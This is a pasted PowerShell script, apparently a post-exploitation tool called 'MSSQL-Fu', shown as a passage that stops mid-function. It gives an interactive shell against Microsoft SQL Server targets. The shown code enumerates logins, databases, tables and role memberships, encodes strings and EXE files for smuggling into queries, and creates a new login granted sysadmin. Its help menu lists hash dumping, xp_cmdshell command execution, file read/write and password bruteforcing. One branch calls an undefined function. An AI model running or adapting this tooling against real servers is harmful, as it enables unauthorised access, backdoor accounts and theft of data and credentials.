Guest User

mssql-fu.ps1

a guest
Apr 25th, 2018
197
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <#
  2. .SYNOPSIS
  3. MSSQL-Fu Connection Assistant
  4.  
  5. .DESCRIPTION
  6. Provides a MS-SQL Shell w/builtin functions to make life easy
  7.  
  8. NOTE: Uses builtin .NET connection components
  9.  
  10. .PARAMETER Ip
  11. The IP of listening MSSQL Service
  12.  
  13. .PARAMETER User
  14. The username to authenticate as (default: sa)
  15.  
  16. .PARAMETER Password
  17. The password to authenticate as
  18.  
  19. .PARAMETER Database
  20. Optional Database name to use for authentication request (default: master)
  21.  
  22. .EXAMPLE
  23. .\mssqlFu.ps1 -Ip 10.10.10.10 -User sa -Password sa
  24. #>
  25.  
  26. param (
  27.     [Parameter(Mandatory = $True)][string]$ip,
  28.     [string]$user = "sa",
  29.     [string]$password = "",
  30.     [string]$database = "master"
  31. )
  32.  
  33.  
  34. <# Simple function to print the 0x31337 application banner #>
  35. function PrintBanner {
  36.     Invoke-Expression "cls";
  37.     Write-Host "";
  38.     Write-Host "[*] MSSQL-Fu Client Assistant";
  39.     Write-Host "";
  40. }
  41.  
  42.  
  43. <# Generate a random string, of length $count #>
  44. function randz([int]$count) {
  45.     return -join ((65..90) + (97..122) | Get-Random -Count $count | % {[char]$_});
  46. }
  47.  
  48.  
  49. <#
  50.     Check & Confirm we can connect to MS-SQL instance
  51.     Returns True on success, False otherwise
  52.  
  53. #>
  54. function can_we_connect {
  55.     $msg = "";
  56.     $status = $False;
  57.     try {
  58.         $Error.Clear();
  59.         $myConObj = New-Object System.Data.SqlClient.SqlConnection;
  60.         $myConObj.ConnectionString = "Server=$($ip);Uid=$($user);Pwd=$($password);Database=$($database)";
  61.         $myConObj.Open();
  62.         $status = $True;   
  63.         $myConObj.Close(); 
  64.     } catch {
  65.         $msg = $_.Exception.Message;
  66.         Write-Host $msg
  67.     }
  68.     return $status;
  69. }
  70.  
  71.  
  72. <# Convert ascii string into ms-sql char()+char() string for easier smuggling of data in queries #>
  73. function convertStrContentToMssqlCharStr([string]$str) {
  74.     $msStr = "";
  75.     foreach($line in $str.split("`n")) {
  76.         $b = $line.ToCharArray();
  77.         Foreach ($element in $b) {
  78.             $msStr += "CHAR("+[byte][char]$element+")+";
  79.         }
  80.         $msStr += "+ CHAR(13)+CHAR(10) +";
  81.     }
  82.     $msStr = $msStr -replace "\+$", "";
  83.     $msStr = $msStr -replace "+ CHAR(13)+CHAR(10) +$", "";
  84.     return $msStr;
  85. }
  86.  
  87.  
  88. <# Convert a EXE/Bin file into a 0xhex string #>
  89. function convertFileContentToHexStr([string]$filename) {
  90.     $hexStr = "";
  91.     if(Test-Path -Path $filename) {
  92.         Get-Content -Encoding byte $filename | %{ "{0:x}" -f $_ } | %{ if ( $_.Length -eq 1 ) { $hexStr = $hexStr + 0 + $_ } else { $hexStr = $hexStr + $_ } }
  93.         $hexStr = "0x$($hexStr)";
  94.     } else {
  95.         Write-Host "[x] Unable to Load File for Hex Conversion: $filename";
  96.         Write-Host "   [x] Check path or permissions and try again...";
  97.     }
  98.     return $hexStr;
  99. }
  100.  
  101.  
  102. <# Run MS-SQL Query & Return result object #>
  103. function mssql_query([string]$sqlQuery) {
  104.     $result = "";
  105.     $msg = ""
  106.     try {
  107.         $Error.Clear();
  108.         $myConObj = New-Object System.Data.SqlClient.SqlConnection
  109.         $myConObj.ConnectionString = "Server=$($ip);Uid=$($user);Pwd=$($password);Database=$($database)";
  110.         $SqlCmd = New-Object System.Data.SqlClient.SqlCommand;
  111.         $SqlCmd.CommandText = $sqlQuery;
  112.         $SqlCmd.Connection = $myConObj;
  113.         $SqlAdapter = New-Object System.Data.SqlClient.SqlDataAdapter;
  114.         $SqlAdapter.SelectCommand = $SqlCmd;
  115.         $DataSet = New-Object System.Data.DataSet;
  116.         $rowCount = $SqlAdapter.Fill($DataSet);
  117.         $result = $DataSet.Tables[0];
  118.         $myConObj.Close()
  119.     } catch {
  120.         $msg = "[ERROR] Unable to run query: $sqlQuery `n`t$Error[0]`n"
  121.     } finally {
  122.         $myConObj.Close()
  123.     }
  124.     return New-Object PSObject -Property @{
  125.         rowCount = $rowCount;
  126.         result = $result;
  127.         msg = $msg;
  128.     }
  129. }
  130.  
  131.  
  132. <# Escape ' characters for use within embedded openquery() requests #>
  133. function addTicks([string]$str, [int]$ticCount) {
  134.     if($ticCount -eq $NULL -Or $ticCount -eq 0) { $ticCount=1; }
  135.     $tick = "'" * $ticCount;
  136.     $moddedStr = $str -replace "'", $tick; 
  137.     return $moddedStr;
  138. }
  139.  
  140.  
  141. <# Query & Return basic ms-sql host information #>
  142. function mssql_basic_info {
  143.     $hostname = (mssql_query "SELECT host_name();").result.Column1;
  144.     $srvrname = (mssql_query "SELECT @@servername;").result.Column1;
  145.     $version = (mssql_query "SELECT @@version;").result.Column1;
  146.     $sv = (mssql_query "SELECT LEFT(CAST(serverproperty('productversion') as VARCHAR), 4)").result.Column1;
  147.     if($sv -eq "8.00") {
  148.         $specificVersion = "SQL 2000";
  149.     } elseif($sv -eq "9.00") {
  150.         $specificVersion = "SQL 2005";
  151.     } elseif($sv -eq "10.00") {
  152.         $specificVersion = "SQL 2008";
  153.     } elseif($sv -eq "10.50") {
  154.         $specificVersion = "SQL 2008R2";
  155.     } elseif($sv -eq "11.00") {
  156.         $specificVersion = "SQL 2012";
  157.     } elseif($sv -eq "12.00") {
  158.         $specificVersion = "SQL 2014";
  159.     } elseif($sv -eq "13.00") {
  160.         $specificVersion = "SQL 2016";
  161.     } else {
  162.         $specificVersion = "Unknown?";
  163.     }
  164.     $dataPath = (mssql_query "IF EXISTS(SELECT 1 FROM [master].[sys].[databases] WHERE [name] = 'zzTempDBForDefaultPath') BEGIN DROP DATABASE zzTempDBForDefaultPath END; CREATE DATABASE zzTempDBForDefaultPath; DECLARE @Default_Data_Path VARCHAR(512),@Default_Log_Path VARCHAR(512); SELECT @Default_Data_Path = (SELECT LEFT(physical_name,LEN(physical_name)-CHARINDEX('\',REVERSE(physical_name))+1) FROM sys.master_files mf INNER JOIN sys.[databases] d ON mf.[database_id] = d.[database_id] WHERE d.[name] = 'zzTempDBForDefaultPath' AND type = 0); SELECT @Default_Log_Path = (SELECT LEFT(physical_name,LEN(physical_name)-CHARINDEX('\',REVERSE(physical_name))+1) FROM sys.master_files mf INNER JOIN sys.[databases] d ON mf.[database_id] = d.[database_id] WHERE d.[name] = 'zzTempDBForDefaultPath' AND type = 1); IF EXISTS(SELECT 1 FROM [master].[sys].[databases] WHERE [name] = 'zzTempDBForDefaultPath') BEGIN DROP DATABASE zzTempDBForDefaultPath END; SELECT @Default_Data_Path;").result.Column1;
  165.     $logPath = (mssql_query "IF EXISTS(SELECT 1 FROM [master].[sys].[databases] WHERE [name] = 'zzTempDBForDefaultPath') BEGIN DROP DATABASE zzTempDBForDefaultPath END; CREATE DATABASE zzTempDBForDefaultPath; DECLARE @Default_Data_Path VARCHAR(512),@Default_Log_Path VARCHAR(512); SELECT @Default_Data_Path = (SELECT LEFT(physical_name,LEN(physical_name)-CHARINDEX('\',REVERSE(physical_name))+1) FROM sys.master_files mf INNER JOIN sys.[databases] d ON mf.[database_id] = d.[database_id] WHERE d.[name] = 'zzTempDBForDefaultPath' AND type = 0); SELECT @Default_Log_Path = (SELECT LEFT(physical_name,LEN(physical_name)-CHARINDEX('\',REVERSE(physical_name))+1) FROM sys.master_files mf INNER JOIN sys.[databases] d ON mf.[database_id] = d.[database_id] WHERE d.[name] = 'zzTempDBForDefaultPath' AND type = 1); IF EXISTS(SELECT 1 FROM [master].[sys].[databases] WHERE [name] = 'zzTempDBForDefaultPath') BEGIN DROP DATABASE zzTempDBForDefaultPath END; SELECT @Default_Log_Path;").result.Column1;
  166.     return New-Object PSObject -Property @{
  167.         hostname = $hostname;
  168.         version = $version.Trim();
  169.         specificVersion = $specificVersion;
  170.         srvrname = $srvrname;
  171.         dataPath = $dataPath;
  172.         logPath = $logPath;
  173.     }
  174. }
  175.  
  176.  
  177. <# Builds Shell Help String for Output after call #>
  178. function shell_help {
  179.     $helpOut = "`n[*] MSSQL-Fu Usage Options: `n"
  180.     $helpOut += "          <SQL> => Execute Provided SQL Query`n";
  181.     $helpOut += "            cls => Clear Terminal`n";
  182.     $helpOut += "      cmd <cmd> => Execute a Local OS Command (*this box*)`n";
  183.     $helpOut += "   exit or quit => Exit MySQL-Fu Shell Session`n";
  184.     $helpOut += "           info => SHOW Basic Info`n";
  185.     $helpOut += "          users => SHOW MS-SQL Users`n";
  186.     $helpOut += "          privs => SHOW MS-SQL User Privileges`n";
  187.     $helpOut += "            dbs => SHOW Available Database(s)`n";
  188.     $helpOut += "           tbls => SHOW Tables for All Database`n";
  189.     $helpOut += "        db.tbls => SHOW Tables for Known Database`n";
  190.     $helpOut += "           cols => SHOW Columns for Known Table & Database`n";
  191.     $helpOut += "       cols.all => SHOW Columns for ALL Tables & Databases`n";
  192.     $helpOut += "         new.db => CREATE New Database`n";
  193.     $helpOut += "       new.user => CREATE New MS-SQL User Account`n";
  194.     $helpOut += "        drop.db => DROP a Database`n";
  195.     $helpOut += "       drop.tbl => DROP a Database Table`n";
  196.     $helpOut += "      drop.view => DROP a Database (Table) View`n";
  197.     $helpOut += "      drop.proc => DROP a Database (Table) Stored Procedure`n";
  198.     $helpOut += "      drop.user => DROP a MS-SQL User Account`n";
  199.     $helpOut += "      passwords => DUMP MS-SQL Users & Password Hashes`n";
  200.     $helpOut += "       dump.tbl => DUMP Single Table`n";
  201.     $helpOut += "        dump.db => DUMP Database & All Tables`n";
  202.     $helpOut += "       dump.all => DUMP All Databases & Associated Tables`n";
  203.     $helpOut += "           read => READ File(s) from MS-SQL Host via Bulk Insert`n";
  204.     $helpOut += "    inline.read => READ File(s) from MS-SQL Host via Inline @FileSystemObject`n";
  205.     $helpOut += "          write => WRITE File(s) to MS-SQL Host via Inline @FileSystemObject`n";
  206.     $helpOut += "    xp_cmdshell => xp_cmdshell Command Shell`n";
  207.     $helpOut += "     inline.cmd => Inline @Wscript.Shell Command Shell`n";
  208.     $helpOut += "     openrowset => Bruteforce SQL User Account Password`n";
  209.     $helpOut += "    enable.func => ENABLE Special Function(s)`n";
  210.     $helpOut += "   disable.func => DISABLE Special Function(s)`n";
  211.     $helpOut += "         linked => Check & Crawl Linked Servers`n";
  212.     $helpOut += "            idf => Interesting Data Finder`n";
  213.     $helpOut += "`n";
  214.     return $helpOut;
  215. }
  216.  
  217. <# Enable Functions Help Menu #>
  218. function enable_func_help {
  219.     $helpOut  = "`n[*] MSSQL-Fu Enable Function Options: `n"
  220.     $helpOut += "            cls => Clear Terminal`n";
  221.     $helpOut += "   exit or quit => Exit MySQL-Fu Shell Session`n"; $helpOut += "";
  222.     $helpOut += "       xp.shell => Enable xp_cmdshell`n";
  223.     $helpOut += "         new.xp => Create new_xp_cmdshell`n";
  224.     $helpOut += "     openrowset => Enable Openrowset()`n";
  225.     $helpOut += "            ole => Enable OLE Automation Procedures (sp_OACreate)`n";
  226.     $helpOut += "`n";
  227.     return $helpOut;
  228. }
  229.  
  230. <# Disable Functions Help Menu #>
  231. function disable_func_help {
  232.     $helpOut  = "`n[*] MSSQL-Fu Disable Function Options: `n"
  233.     $helpOut += "            cls => Clear Terminal`n";
  234.     $helpOut += "   exit or quit => Exit MySQL-Fu Shell Session`n"; $helpOut += "";
  235.     $helpOut += "       xp.shell => Disable xp_cmdshell`n";
  236.     $helpOut += "     openrowset => Disable Openrowset()`n";
  237.     $helpOut += "            ole => Disable OLE Automation Procedures (sp_OACreate)`n";
  238.     $helpOut += "`n";
  239.     return $helpOut;
  240. }
  241.  
  242.  
  243.  
  244. <# Handle CTRL+C Interupt and Exit Gracefully #>
  245. [console]::TreatControlCAsInput = $True;
  246.  
  247. <# Create an output directory if one doesn't exist already #>
  248. $outDir = (Get-Item -Path ".\" -Verbose).FullName + "\output";
  249. if(!(Test-Path -PathType Container $outDir)) {
  250.     New-Item -ItemType Directory -Force -Path $outDir;
  251. }
  252. $outDir = $outDir + "\" + $ip;
  253. if(!(Test-Path -PathType Container $outDir)) {
  254.     New-Item -ItemType Directory -Force -Path $outDir | Out-Null;
  255. }
  256.  
  257. # START
  258. PrintBanner;
  259. $Error.Clear();
  260. if(can_we_connect) {
  261.     $basicInfo = mssql_basic_info;
  262.     Write-Host "[*] Connected to MS-SQL Instance";
  263.     Write-Host "   [+] Host: $($ip)";
  264.     Write-Host "   [+] Host Name: $($basicInfo.hostname)";
  265.     Write-Host "   [+] Server Name: $($basicInfo.srvrname)";
  266.     Write-Host "   [+] Version: $($basicInfo.specificVersion)`n`t$($basicInfo.version)";
  267.     Write-Host "   [+] Data Path:`n`t$($basicInfo.dataPath)";
  268.     Write-Host "`n";
  269.     While($True) {
  270.         $userArg = Read-Host "(mssql-fu)> ";
  271.         if($userArg.Trim() -eq "") {
  272.             Write-Host "";
  273.             continue;
  274.         } else {
  275.             Write-Host "";
  276.         }
  277.         if($userArg.ToLower() -match '^exit$|^quit$') {
  278.             Write-Host "   [x] OK, closing MSSQL-Fu shell session...";
  279.             Break;
  280.            
  281.         } elseif($userArg.ToLower() -eq 'cls' -Or $userArg.ToLower() -eq 'clear') {
  282.             PrintBanner;
  283.            
  284.         } elseif($userArg.ToLower() -match '^cmd') {
  285.             $cmd = $userArg.Substring(4);
  286.             Invoke-Expression "$cmd";
  287.             Write-Host "";
  288.            
  289.         } elseif($userArg.ToLower() -match '^\?$' -Or $userArg.ToLower() -match '^h$' -Or $userArg.ToLower() -match '^help') {
  290.             $shout = shell_help;
  291.             Write-Host $shout;
  292.            
  293.         } elseif($userArg.ToLower() -match '^basic' -Or $userArg.ToLower() -match '^info') {
  294.             $basicInfo = mssql_basic_info;
  295.             $basicOut =
  296.             $basicOut  = "[*] MS-SQL Host Info: $($ip)`n";
  297.             $basicOut += "   [+] Hostname: $($basicInfo.hostname)`n";
  298.             $basicOut += "   [+] Server Name: $($basicInfo.srvrname)`n";
  299.             $basicOut += "   [+] DB Version: $($basicInfo.specificVersion)`n`t$($basicInfo.version)`n";
  300.             $basicOut += "   [+] Data Path:`n`t$($basicInfo.dataPath)`n";
  301.             $basicOut += "   [+] Log Path:`n`t$($basicInfo.logPath)`n";
  302.             Write-Host $basicOut;
  303.             New-Item -path $outDir -Name "mssqlfu-basic_host_info.txt" -Value $basicOut -ItemType file -force | Out-Null;
  304.  
  305.         } elseif($userArg.ToLower() -match '^users' -Or $userArg.ToLower() -match '^usernames' -Or $userArg.ToLower() -match '^logons') {
  306.             $sqlResult = mssql_query "SELECT name FROM master..syslogins";
  307.             if($sqlResult.result -ne $NULL) {
  308.                 Write-Host "   [*] Current SQL User Accounts: ";
  309.                 $usrOut = "[*] Current SQL User Accounts:`n";
  310.                 foreach($row in $sqlResult.result) {
  311.                     if($row.name -ne $NULL) {
  312.                         $usrOut += "   [+] $($row.name)`n";
  313.                         Write-Host "      [+] $($row.name)";
  314.                     }
  315.                 }
  316.                 New-Item -path $outDir -Name "mssqlfu-users.txt" -Value $usrOut -ItemType file -force | Out-Null;
  317.             } else {
  318.                 Write-Host "   [x] Unable to Get Users Listing";
  319.             }
  320.             Write-Host "";
  321.  
  322.         } elseif($userArg.ToLower() -match '^dbs' -Or $userArg.ToLower() -match '^databases') {
  323.             $sqlResult = mssql_query "SELECT name FROM master..sysdatabases;";
  324.             if($sqlResult.result -ne $NULL) {
  325.                 Write-Host "   [*] Available Databases: ";
  326.                 $dbOut = "[*] Available Databases:`n";
  327.                 foreach($dbName in $sqlResult.result) {
  328.                     if($dbname.name -ne $NULL) {
  329.                         $dbOut += "   [+] $($dbname.name)`n";
  330.                         Write-Host "      [+] $($dbname.name)";
  331.                     }
  332.                 }
  333.                 New-Item -path $outDir -Name "mssqlfu-available_databases.txt" -Value $dbOut -ItemType file -force | Out-Null;
  334.             } else {
  335.                 Write-Host "   [x] Unable to Get Database Listing";
  336.             }
  337.             Write-Host "";
  338.  
  339.         } elseif($userArg.ToLower() -match '^privs') {
  340.             $result = mssql_query "SELECT name FROM master..syslogins;";
  341.             if($result.rowCount -gt 1) {
  342.                 $privsOut = "[*] MS-SQL Users & Privileges:`n";
  343.                 foreach($row in $result.result) {
  344.                     $privsOut += "   [+] User: $($row.name)`n";
  345.                     if(((mssql_query "SELECT is_srvrolemember('sysadmin', '$($row.name)');").result.Column1) -eq 1) {
  346.                         $privsOut += "      [-] SYSADMIN: YES`n";
  347.                     } else {
  348.                         $privsOut += "      [-] SYSADMIN: NO`n";
  349.                     }
  350.                     if(((mssql_query "SELECT is_srvrolemember('dbcreator', '$($row.name)');").result.Column1) -eq 1) {
  351.                         $privsOut += "      [-] DBCREATOR: YES`n";
  352.                     } else {
  353.                         $privsOut += "      [-] DBCREATOR: NO`n";
  354.                     }
  355.                     if(((mssql_query "SELECT is_srvrolemember('bulkadmin', '$($row.name)');").result.Column1) -eq 1) {
  356.                         $privsOut += "      [-] BULKADMIN: YES`n";
  357.                     } else {
  358.                         $privsOut += "      [-] BULKADMIN: NO`n";
  359.                     }
  360.                     if(((mssql_query "SELECT is_srvrolemember('diskadmin', '$($row.name)');").result.Column1) -eq 1) {
  361.                         $privsOut += "      [-] DISKADMIN: YES`n";
  362.                     } else {
  363.                         $privsOut += "      [-] DISKADMIN: NO`n";
  364.                     }
  365.                     if(((mssql_query "SELECT is_srvrolemember('processadmin', '$($row.name)');").result.Column1) -eq 1) {
  366.                         $privsOut += "      [-] PROCESSADMIN: YES`n";
  367.                     } else {
  368.                         $privsOut += "      [-] PROCESSADMIN: NO`n";
  369.                     }
  370.                     if(((mssql_query "SELECT is_srvrolemember('serveradmin', '$($row.name)');").result.Column1) -eq 1) {
  371.                         $privsOut += "      [-] SERVERADMIN: YES`n";
  372.                     } else {
  373.                         $privsOut += "      [-] SERVERADMIN: NO`n";
  374.                     }
  375.                     if(((mssql_query "SELECT is_srvrolemember('setupadmin', '$($row.name)');").result.Column1) -eq 1) {
  376.                         $privsOut += "      [-] SETUPADMIN: YES`n";
  377.                     } else {
  378.                         $privsOut += "      [-] SETUPADMIN: NO`n";
  379.                     }
  380.                     if(((mssql_query "SELECT is_srvrolemember('securityadmin', '$($row.name)');").result.Column1) -eq 1) {
  381.                         $privsOut += "      [-] SECURITYADMIN: YES`n";
  382.                     } else {
  383.                         $privsOut += "      [-] SECURITYADMIN: NO`n";
  384.                     }
  385.                     $privsOut += "`n";
  386.                 }
  387.                 Write-Host $privsOut;
  388.                 New-Item -path $outDir -Name "mssqlfu-user_privs.txt" -Value $privsOut -ItemType file -force | Out-Null;
  389.             } else {
  390.                 Write-Host "[x] Unable to obtain user listing to fetch privs"
  391.                 $result.result;
  392.             }
  393.             Write-Host "";
  394.  
  395.         } elseif($userArg.ToLower() -match '^tbls' -Or $userArg.ToLower() -match '^tables') {
  396.             $sql = "SELECT * FROM _DBNAME_.information_schema.tables WHERE TABLE_TYPE='BASE TABLE' AND TABLE_SCHEMA = 'dbo';";
  397.             $sqlResult = mssql_query "SELECT name FROM master..sysdatabases;";
  398.             if($sqlResult.result -ne $NULL) {
  399.                 $dbTblsOut = "[*] Available Tables by Database:`n";
  400.                 foreach($dbName in $sqlResult.result) {
  401.                     if($dbname.name -ne $NULL) {
  402.                         $dbTblsOut += "   [+] DB: $($dbname.name)`n";
  403.                     }
  404.                     $sqlResult2 = mssql_query $sql.Replace("_DBNAME_", $dbname.name);
  405.                     if($sqlResult2.result -ne $NULL) {
  406.                         foreach($dbTblName in $sqlResult2.result) {
  407.                             $dbTblsOut += "      [-] $($dbTblName[2])`n";
  408.                         }
  409.                     } else {
  410.                         $dbTblsOut += "      [-] NO Tables Found`n";
  411.                     }
  412.                     $dbTblsOut += "`n"
  413.                 }
  414.                 Write-Host $dbTblsOut;
  415.                 New-Item -path $outDir -Name "mssqlfu-all.databases.tables.txt" -Value $dbTblsOut -ItemType file -force | Out-Null;
  416.             } else {
  417.                 Write-Host "   [x] Unable to Get Database Listing to Fetch Tables";
  418.                 $sqlResult.msg;
  419.             }
  420.             Write-Host "";
  421.  
  422.         } elseif($userArg.ToLower() -match '^db.tbl' -Or $userArg.ToLower() -match '^db.tables') {
  423.             $dbName = Read-Host "ENTER Database Name";
  424.             Write-Host "";
  425.             $sqlResult = mssql_query "SELECT * FROM $($dbName).information_schema.tables WHERE TABLE_TYPE='BASE TABLE' AND TABLE_SCHEMA = 'dbo';";
  426.             $dbTblsOut = "[*] Available Tables in DB: $($dbName)`n";
  427.             if($sqlResult.result -ne $NULL) {
  428.                 foreach($dbTblName in $sqlResult.result) {
  429.                     $dbTblsOut += "   [+] $($dbTblName[2])`n";
  430.                 }
  431.             } else {
  432.                 $dbTblsOut += "   [+] NO Tables Found`n";
  433.             }
  434.             $dbTblsOut += "`n";
  435.             Write-Host $dbTblsOut;
  436.             New-Item -path $outDir -Name "mssqlfu-$($dbName).tables.txt" -Value $dbTblsOut -ItemType file -force | Out-Null;
  437.             Write-Host "";
  438.            
  439.         } elseif($userArg.ToLower() -match '^cols$' -Or $userArg.ToLower() -match '^columns$') {
  440.             $dbName = Read-Host "ENTER Database Name";
  441.             Write-Host "";
  442.             $sqlResult = mssql_query "SELECT * FROM $($dbName).information_schema.tables WHERE TABLE_TYPE='BASE TABLE' AND TABLE_SCHEMA = 'dbo';";
  443.             $dbTblsOut = "[*] Available Tables in DB: $($dbName)`n";
  444.             if($sqlResult.result -ne $NULL) {
  445.                 foreach($dbTblName in $sqlResult.result) {
  446.                     $dbTblsOut += "   [+] $($dbTblName[2])`n";
  447.                 }
  448.             } else {
  449.                 $dbTblsOut += "   [+] NO Tables Found`n";
  450.             }
  451.             $dbTblsOut += "`n";
  452.             Write-Host $dbTblsOut;
  453.             $dbTblName = Read-Host "ENTER Table Name to Fetch Columns For";
  454.             Write-Host "";
  455.             $dbTblColsOut = "[*] Available Columns in $($dbName) - $($dbTblName):`n";
  456.             $sql = "Select COLUMN_NAME,DATA_TYPE From INFORMATION_SCHEMA.COLUMNS Where TABLE_CATALOG Like '_DBNAME_' AND TABLE_NAME like '_TABLE_NAME_' AND TABLE_SCHEMA like 'dbo';".Replace("_DBNAME_", $dbName).Replace("_TABLE_NAME_", $dbTblName);
  457.             $sqlResult = mssql_query $sql;
  458.             if($sqlResult.result -ne $NULL) {
  459.                 foreach($row in $sqlResult.result) {
  460.                     $dbTblColsOut += "   [+] $($row.COLUMN_NAME) ($($row.DATA_TYPE))`n";
  461.                 }
  462.             } else {
  463.                 $dbTblColsOut += "   [+] NO Columns Found`n";
  464.             }
  465.             $dbTblColsOut += "`n";
  466.             Write-Host $dbTblColsOut;
  467.             New-Item -path $outDir -Name "mssqlfu-$($dbName).$($dbTblName).columns.txt" -Value $dbTblColsOut -ItemType file -force | Out-Null;
  468.             Write-Host "";
  469.  
  470.         } elseif($userArg.ToLower() -match '^cols.all$' -Or $userArg.ToLower() -match '^columns.all$' -Or $userArg.ToLower() -match '^all.col') {
  471.             $sqlResult = mssql_query "SELECT name FROM master..sysdatabases;";
  472.             if($sqlResult.result -ne $NULL) {
  473.                 $colsAllOut = "[*] Listing Columns for All Databases & Tables:`n";
  474.                 foreach($dbName in $sqlResult.result) {
  475.                     if($dbName.name -ne $NULL) {
  476.                         $ft = @();
  477.                         $foundTables = {$ft}.Invoke();
  478.                         $colsAllOut += "   [+] DB: $($dbName.name)`n";
  479.                         $sql = "SELECT TABLE_NAME,COLUMN_NAME,DATA_TYPE From $($dbName.name).INFORMATION_SCHEMA.COLUMNS Where TABLE_CATALOG Like '_DBNAME_' AND TABLE_SCHEMA like 'dbo';".Replace("_DBNAME_", $dbName.name);
  480.                         $sqlResult2 = mssql_query $sql;
  481.                         if($sqlResult2.result -ne $NULL) {
  482.                             foreach($row in $sqlResult2.result) {
  483.                                 if($foundTables -contains $row.TABLE_NAME) {
  484.                                     $colsAllOut += "         [+] $($row.COLUMN_NAME) ($($row.DATA_TYPE))`n";
  485.                                 } else {
  486.                                     $colsAllOut += "      [-] TABLE: $($row.TABLE_NAME)`n";
  487.                                     $colsAllOut += "         [+] $($row.COLUMN_NAME) ($($row.DATA_TYPE))`n";
  488.                                     $foundTables.Add($row.TABLE_NAME);
  489.                                 }
  490.                             }
  491.                         } else {
  492.                             $colsAllOut += "      [-] NO Tables Found`n";
  493.                         }
  494.                         $colsAllOut += "`n";
  495.                     }
  496.                 }
  497.                 Write-Host $colsAllOut;
  498.                 New-Item -path $outDir -Name "mssqlfu-databases.tables.columns.all.txt" -Value $colsAllOut -ItemType file -force | Out-Null;
  499.             } else {
  500.                 Write-Host "   [x] Unable to Get Database Listing";
  501.             }
  502.             Write-Host "";
  503.  
  504.         } elseif($userArg.ToLower() -match '^new.db' -Or $userArg.ToLower() -match '^new.database') {
  505.             $dbName = Read-Host "ENTER Database Name to Create";
  506.             Write-Host "";
  507.             $sqlResult = mysql_query "CREATE DATABASE IF NOT EXISTS $($dbName);";
  508.             if($sqlResult -eq $NULL) {
  509.                 Write-Host "[*] Added New Database";
  510.                 $sqlResult = mssql_query "SELECT name FROM master..sysdatabases;";
  511.                 if($sqlResult.result -ne $NULL) {
  512.                     Write-Host "   [*] Updated Database Listing: ";
  513.                     $dbOut = "[*] Available Databases:`n";
  514.                     foreach($dbName in $sqlResult.result) {
  515.                         if($dbname.name -ne $NULL) {
  516.                             $dbOut += "   [+] $($dbname.name)`n";
  517.                             Write-Host "      [+] $($dbname.name)";
  518.                         }
  519.                     }
  520.                     New-Item -path $outDir -Name "mssqlfu-available_databases.txt" -Value $dbOut -ItemType file -force | Out-Null;
  521.                 } else {
  522.                     Write-Host "   [x] Unable to Get Database Listing";
  523.                     if($sqlResult.msg -ne "") {
  524.                         $sqlResult.msg;
  525.                     } else {
  526.                         $sqlResult.result;
  527.                     }
  528.                 }
  529.             } else {
  530.                 Write-Host "   [x] Problem Creating New Database";
  531.                 if($sqlResult.msg -ne "") {
  532.                     $sqlResult.msg;
  533.                 } else {
  534.                     $sqlResult.result;
  535.                 }
  536.             }
  537.             Write-Host "";
  538.  
  539.         } elseif($userArg.ToLower() -match '^new\.user') {
  540.             $newUserName = Read-Host "ENTER New Username to CREATE";
  541.             Write-Host "";
  542.             $newUserPass = Read-Host "ENTER New User's Password";
  543.             Write-Host "";
  544.             Write-Host "[*] Attempting to create new user account";
  545.             Write-Host "   [+] User: $($newUserName)";
  546.             Write-Host "   [+] Pass: $($newUserPass)`n";
  547.             $sqlResult = mssql_query "CREATE LOGIN $($newUserName) WITH PASSWORD = '$($newUserPass)';";
  548.             if($sqlResult.result -eq $NULL -And $sqlResult.msg -eq "") {
  549.                 Write-Host "[*] New MS-SQL SYSADMIN User Account Created!";
  550.                 $sqlResult = mssql_query "EXEC master.dbo.sp_addsrvrolemember '$($newUserName)', 'sysadmin';";
  551.                 if($result.msg -ne "") {
  552.                     Write-Host "   [x] Problem Granting New User Account SYSADMIN Membership"
  553.                     $result.msg;
  554.                 } else {
  555.                     Write-Host "";
  556.                     $result = mssql_query "SELECT name FROM master..syslogins;";
  557.                     if($result.rowCount -gt 1) {
  558.                         $privsOut = "[*] MS-SQL Users & Privileges:`n";
  559.                         foreach($row in $result.result) {
  560.                             $privsOut += "   [+] User: $($row.name)`n";
  561.                             if(((mssql_query "SELECT is_srvrolemember('sysadmin', '$($row.name)');").result.Column1) -eq 1) {
  562.                                 $privsOut += "      [-] SYSADMIN: YES`n";
  563.                             } else {
  564.                                 $privsOut += "      [-] SYSADMIN: NO`n";
  565.                             }
  566.                             if(((mssql_query "SELECT is_srvrolemember('dbcreator', '$($row.name)');").result.Column1) -eq 1) {
  567.                                 $privsOut += "      [-] DBCREATOR: YES`n";
  568.                             } else {
  569.                                 $privsOut += "      [-] DBCREATOR: NO`n";
  570.                             }
  571.                             if(((mssql_query "SELECT is_srvrolemember('bulkadmin', '$($row.name)');").result.Column1) -eq 1) {
  572.                                 $privsOut += "      [-] BULKADMIN: YES`n";
  573.                             } else {
  574.                                 $privsOut += "      [-] BULKADMIN: NO`n";
  575.                             }
  576.                             if(((mssql_query "SELECT is_srvrolemember('diskadmin', '$($row.name)');").result.Column1) -eq 1) {
  577.                                 $privsOut += "      [-] DISKADMIN: YES`n";
  578.                             } else {
  579.                                 $privsOut += "      [-] DISKADMIN: NO`n";
  580.                             }
  581.                             if(((mssql_query "SELECT is_srvrolemember('processadmin', '$($row.name)');").result.Column1) -eq 1) {
  582.                                 $privsOut += "      [-] PROCESSADMIN: YES`n";
  583.                             } else {
  584.                                 $privsOut += "      [-] PROCESSADMIN: NO`n";
  585.                             }
  586.                             if(((mssql_query "SELECT is_srvrolemember('serveradmin', '$($row.name)');").result.Column1) -eq 1) {
  587.                                 $privsOut += "      [-] SERVERADMIN: YES`n";
  588.                             } else {
  589.                                 $privsOut += "      [-] SERVERADMIN: NO`n";
  590.                             }
  591.                             if(((mssql_query "SELECT is_srvrolemember('setupadmin', '$($row.name)');").result.Column1) -eq 1) {
  592.                                 $privsOut += "      [-] SETUPADMIN: YES`n";
  593.                             } else {
  594.                                 $privsOut += "      [-] SETUPADMIN: NO`n";
  595.                             }
  596.                             if(((mssql_query "SELECT is_srvrolemember('securityadmin', '$($row.name)');").result.Column1) -eq 1) {
  597.                                 $privsOut += "      [-] SECURITYADMIN: YES`n";
  598.                             } else {
  599.                                 $privsOut += "      [-] SECURITYADMIN: NO`n";
  600.                             }
  601.                             $privsOut += "`n";
  602.                         }
  603.                         Write-Host $privsOut;
  604.                         New-Item -path $outDir -Name "mssqlfu-user_privs.txt" -Value $privsOut -ItemType file -force | Out-Null;
  605.                     } else {
  606.                         Write-Host "[x] Unable to obtain user listing to fetch updated privs"
